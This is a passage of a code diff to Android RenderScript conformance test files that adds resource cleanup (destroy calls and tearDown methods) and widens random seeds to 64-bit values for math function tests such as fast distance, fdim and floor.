             script.forEach_testFastDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsFastDistanceFloat2Float2Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat2Float2Float: " + e.toString());
         }
@@ -141,9 +153,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testFastDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsFastDistanceFloat2Float2Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat2Float2Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsFastDistanceFloat2Float2Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -212,13 +227,14 @@
     }
 
     private void checkFastDistanceFloat3Float3Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe99971ecl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xaadeec29l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x26ab5e68e99971ecl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x809cb50caadeec29l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testFastDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsFastDistanceFloat3Float3Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat3Float3Float: " + e.toString());
         }
@@ -227,9 +243,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testFastDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsFastDistanceFloat3Float3Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat3Float3Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsFastDistanceFloat3Float3Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -298,13 +317,14 @@
     }
 
     private void checkFastDistanceFloat4Float4Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb38263al, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x50873543l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf55483e70b38263al, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3706013c50873543l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testFastDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsFastDistanceFloat4Float4Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat4Float4Float: " + e.toString());
         }
@@ -313,9 +333,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testFastDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsFastDistanceFloat4Float4Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloat4Float4Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsFastDistanceFloat4Float4Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.java
index e2cb9a9..72e7ea7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestFastLengthRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkFastLengthFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa2660e8fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xebac65aea2660e8fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFastLengthFloatFloat(inV, out);
             verifyResultsFastLengthFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFastLengthFloatFloat(inV, out);
             verifyResultsFastLengthFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastLengthFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkFastLengthFloat2Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf85e6cadl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x95f43650f85e6cadl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFastLengthFloat2Float(inV, out);
             verifyResultsFastLengthFloat2Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat2Float: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFastLengthFloat2Float(inV, out);
             verifyResultsFastLengthFloat2Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat2Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastLengthFloat2Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -185,11 +198,12 @@
     }
 
     private void checkFastLengthFloat3Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5764fb0el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x95f440f25764fb0el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFastLengthFloat3Float(inV, out);
             verifyResultsFastLengthFloat3Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat3Float: " + e.toString());
         }
@@ -197,9 +211,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFastLengthFloat3Float(inV, out);
             verifyResultsFastLengthFloat3Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat3Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastLengthFloat3Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -256,11 +272,12 @@
     }
 
     private void checkFastLengthFloat4Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb66b896fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x95f44b93b66b896fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFastLengthFloat4Float(inV, out);
             verifyResultsFastLengthFloat4Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat4Float: " + e.toString());
         }
@@ -268,9 +285,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFastLengthFloat4Float(inV, out);
             verifyResultsFastLengthFloat4Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastLengthFloat4Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastLengthFloat4Float(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.java
index 31193e7..fdd6201 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestFastNormalizeRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkFastNormalizeFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9f8882ecl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdcfb9adc9f8882ecl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFastNormalizeFloatFloat(inV, out);
             verifyResultsFastNormalizeFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFastNormalizeFloatFloat(inV, out);
             verifyResultsFastNormalizeFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastNormalizeFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkFastNormalizeFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x573db70l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x151c38c30573db70l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testFastNormalizeFloat2Float2(inV, out);
             verifyResultsFastNormalizeFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat2Float2: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFastNormalizeFloat2Float2(inV, out);
             verifyResultsFastNormalizeFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastNormalizeFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -190,11 +203,12 @@
     }
 
     private void checkFastNormalizeFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb8efc4el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x151e01ddfb8efc4el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testFastNormalizeFloat3Float3(inV, out);
             verifyResultsFastNormalizeFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat3Float3: " + e.toString());
         }
@@ -202,9 +216,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFastNormalizeFloat3Float3(inV, out);
             verifyResultsFastNormalizeFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastNormalizeFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -266,11 +282,12 @@
     }
 
     private void checkFastNormalizeFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf1aa1d2cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x151fcaf8f1aa1d2cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testFastNormalizeFloat4Float4(inV, out);
             verifyResultsFastNormalizeFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat4Float4: " + e.toString());
         }
@@ -278,9 +295,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFastNormalizeFloat4Float4(inV, out);
             verifyResultsFastNormalizeFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastNormalizeFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFastNormalizeFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.java
index ed9ed1e..3fbd99f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFdimRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkFdimFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc3a47366l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc3a47367l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf5dd38fbc3a47366l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf5dd38fbc3a47367l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimFloatFloatFloat(inA, out);
             verifyResultsFdimFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimFloatFloatFloat(inA, out);
             verifyResultsFdimFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkFdimFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6f167f4cl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6f167f4dl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xca6a96c16f167f4cl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xca6a96c16f167f4dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimFloat2Float2Float2(inA, out);
             verifyResultsFdimFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimFloat2Float2Float2(inA, out);
             verifyResultsFdimFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkFdimFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x70f480edl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x70f480eel, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1ecf74e170f480edl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1ecf74e170f480eel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimFloat3Float3Float3(inA, out);
             verifyResultsFdimFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimFloat3Float3Float3(inA, out);
             verifyResultsFdimFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkFdimFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x72d2828el, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x72d2828fl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7334530172d2828el, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7334530172d2828fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimFloat4Float4Float4(inA, out);
             verifyResultsFdimFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimFloat4Float4Float4(inA, out);
             verifyResultsFdimFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkFdimHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3357407dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3357407el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc0b8321d3357407dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc0b8321d3357407el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimHalfHalfHalf(inA, out);
             verifyResultsFdimHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimHalfHalfHalf(inA, out);
             verifyResultsFdimHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkFdimHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfa8ab75bl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfa8ab75cl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc54d7b18fa8ab75bl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc54d7b18fa8ab75cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimHalf2Half2Half2(inA, out);
             verifyResultsFdimHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimHalf2Half2Half2(inA, out);
             verifyResultsFdimHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkFdimHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5929c82al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5929c82bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xeb01fb025929c82al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xeb01fb025929c82bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimHalf3Half3Half3(inA, out);
             verifyResultsFdimHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimHalf3Half3Half3(inA, out);
             verifyResultsFdimHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkFdimHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb7c8d8f9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb7c8d8fal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x10b67aebb7c8d8f9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x10b67aebb7c8d8fal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFdimHalf4Half4Half4(inA, out);
             verifyResultsFdimHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFdimHalf4Half4Half4(inA, out);
             verifyResultsFdimHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFdimHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFdimHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.java
index 35238b3..63071c2 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestFloorRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkFloorFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x95badeadl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3b3c924b95badeadl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFloorFloatFloat(inV, out);
             verifyResultsFloorFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFloorFloatFloat(inV, out);
             verifyResultsFloorFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkFloorFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x372c9069l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd8575933372c9069l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testFloorFloat2Float2(inV, out);
             verifyResultsFloorFloat2Float2(inV, out, false);
+            out.destroy();
